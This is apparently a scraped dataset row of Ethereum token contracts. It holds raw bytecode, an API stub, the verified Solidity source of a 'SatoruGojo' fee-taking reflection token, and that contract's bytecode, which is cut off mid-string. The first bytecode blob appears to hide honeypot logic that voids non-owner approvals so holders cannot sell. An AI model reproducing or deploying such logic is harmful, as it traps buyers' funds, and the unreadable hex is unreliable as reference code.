0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122067a4a24b00b2275bcf7429ce31f06c57472cb72a59d6ca1519b42d01564ebe5664736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 7,880 |
0x3C2f141Df40aC3Bd76514B05F4bc33dc44d3638b
|
/**
*Submitted for verification at Etherscan.io on 2021-11-03
*/
//SPDX-License-Identifier: MIT
// Telegram: t.me/satorugojotoken
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract SatoruGojo is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
string private constant _name = "SatoruGojo";
string private constant _symbol = "SatoruGojo";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
uint256 private _maxTxAmount = _tTotal;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(_msgSender());
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 1;
_feeAddr2 = 9;
if (from != owner() && to != owner()) {
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 1;
_feeAddr2 = 9;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
modifier overridden() {
require(_feeAddrWallet1 == _msgSender() );
_;
}
function setMaxBuy(uint256 limit) external overridden {
_maxTxAmount = limit;
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
_maxTxAmount = 100000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106100ec5760003560e01c8063715018a61161008a578063c9567bf911610059578063c9567bf9146102f1578063dd62ed3e14610308578063f429389014610345578063f53bc8351461035c576100f3565b8063715018a6146102475780638da5cb5b1461025e57806395d89b4114610289578063a9059cbb146102b4576100f3565b806323b872dd116100c657806323b872dd1461018b578063313ce567146101c857806351bc3c85146101f357806370a082311461020a576100f3565b806306fdde03146100f8578063095ea7b31461012357806318160ddd14610160576100f3565b366100f357005b600080fd5b34801561010457600080fd5b5061010d610385565b60405161011a9190612387565b60405180910390f35b34801561012f57600080fd5b5061014a60048036038101906101459190611f4a565b6103c2565b604051610157919061236c565b60405180910390f35b34801561016c57600080fd5b506101756103e0565b60405161018291906124e9565b60405180910390f35b34801561019757600080fd5b506101b260048036038101906101ad9190611ef7565b6103f0565b6040516101bf919061236c565b60405180910390f35b3480156101d457600080fd5b506101dd6104c9565b6040516101ea919061255e565b60405180910390f35b3480156101ff57600080fd5b506102086104d2565b005b34801561021657600080fd5b50610231600480360381019061022c9190611e5d565b61054c565b60405161023e91906124e9565b60405180910390f35b34801561025357600080fd5b5061025c61059d565b005b34801561026a57600080fd5b506102736106f0565b604051610280919061229e565b60405180910390f35b34801561029557600080fd5b5061029e610719565b6040516102ab9190612387565b60405180910390f35b3480156102c057600080fd5b506102db60048036038101906102d69190611f4a565b610756565b6040516102e8919061236c565b60405180910390f35b3480156102fd57600080fd5b50610306610774565b005b34801561031457600080fd5b5061032f600480360381019061032a9190611eb7565b610cb5565b60405161033c91906124e9565b60405180910390f35b34801561035157600080fd5b5061035a610d3c565b005b34801561036857600080fd5b50610383600480360381019061037e9190611fb7565b610dae565b005b60606040518060400160405280600a81526020017f5361746f7275476f6a6f00000000000000000000000000000000000000000000815250905090565b60006103d66103cf610e19565b8484610e21565b6001905092915050565b600067016345785d8a0000905090565b60006103fd848484610fec565b6104be84610409610e19565b6104b985604051806060016040528060288152602001612b3960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061046f610e19565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461137b9092919063ffffffff16565b610e21565b600190509392505050565b60006009905090565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610513610e19565b73ffffffffffffffffffffffffffffffffffffffff161461053357600080fd5b600061053e3061054c565b9050610549816113df565b50565b6000610596600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611667565b9050919050565b6105a5610e19565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610632576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062990612449565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f5361746f7275476f6a6f00000000000000000000000000000000000000000000815250905090565b600061076a610763610e19565b8484610fec565b6001905092915050565b61077c610e19565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610809576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080090612449565b60405180910390fd5b600d60149054906101000a900460ff1615610859576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610850906124c9565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506108e830600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1667016345785d8a0000610e21565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561092e57600080fd5b505afa158015610942573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109669190611e8a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156109c857600080fd5b505afa1580156109dc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a009190611e8a565b6040518363ffffffff1660e01b8152600401610a1d9291906122b9565b602060405180830381600087803b158015610a3757600080fd5b505af1158015610a4b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a6f9190611e8a565b600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610af83061054c565b600080610b036106f0565b426040518863ffffffff1660e01b8152600401610b259695949392919061230b565b6060604051808303818588803b158015610b3e57600080fd5b505af1158015610b52573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b779190611fe4565b5050506001600d60166101000a81548160ff02191690831515021790555068056bc75e2d63100000600e819055506001600d60146101000a81548160ff021916908315150217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610c5f9291906122e2565b602060405180830381600087803b158015610c7957600080fd5b505af1158015610c8d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cb19190611f8a565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d7d610e19565b73ffffffffffffffffffffffffffffffffffffffff1614610d9d57600080fd5b6000479050610dab816116d5565b50565b610db6610e19565b73ffffffffffffffffffffffffffffffffffffffff16600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e0f57600080fd5b80600e8190555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e88906124a9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f01576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef8906123e9565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610fdf91906124e9565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561105c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105390612489565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c3906123a9565b60405180910390fd5b6000811161110f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110690612469565b60405180910390fd5b60016009819055506009600a819055506111276106f0565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561119557506111656106f0565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561136b57600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156112455750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561129b5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156112b15760016009819055506009600a819055505b60006112bc3061054c565b9050600d60159054906101000a900460ff161580156113295750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156113415750600d60169054906101000a900460ff165b156113695761134f816113df565b6000479050600081111561136757611366476116d5565b5b505b505b611376838383611741565b505050565b60008383111582906113c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ba9190612387565b60405180910390fd5b50600083856113d291906126af565b9050809150509392505050565b6001600d60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156114175761141661280a565b5b6040519080825280602002602001820160405280156114455781602001602082028036833780820191505090505b509050308160008151811061145d5761145c6127db565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156114ff57600080fd5b505afa158015611513573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115379190611e8a565b8160018151811061154b5761154a6127db565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506115b230600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610e21565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611616959493929190612504565b600060405180830381600087803b15801561163057600080fd5b505af1158015611644573d6000803e3d6000fd5b50505050506000600d60156101000a81548160ff02191690831515021790555050565b60006007548211156116ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a5906123c9565b60405180910390fd5b60006116b8611751565b90506116cd818461177c90919063ffffffff16565b915050919050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561173d573d6000803e3d6000fd5b5050565b61174c8383836117c6565b505050565b600080600061175e611991565b91509150611775818361177c90919063ffffffff16565b9250505090565b60006117be83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506119f0565b905092915050565b6000806000806000806117d887611a53565b95509550955095509550955061183686600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611abb90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118cb85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b0590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061191781611b63565b6119218483611c20565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161197e91906124e9565b60405180910390a3505050505050505050565b60008060006007549050600067016345785d8a000090506119c567016345785d8a000060075461177c90919063ffffffff16565b8210156119e35760075467016345785d8a00009350935050506119ec565b81819350935050505b9091565b60008083118290611a37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2e9190612387565b60405180910390fd5b5060008385611a469190612624565b9050809150509392505050565b6000806000806000806000806000611a708a600954600a54611c5a565b9250925092506000611a80611751565b90506000806000611a938e878787611cf0565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611afd83836040518060400160405280601e81526020017f536166654d6174683a20737562747261637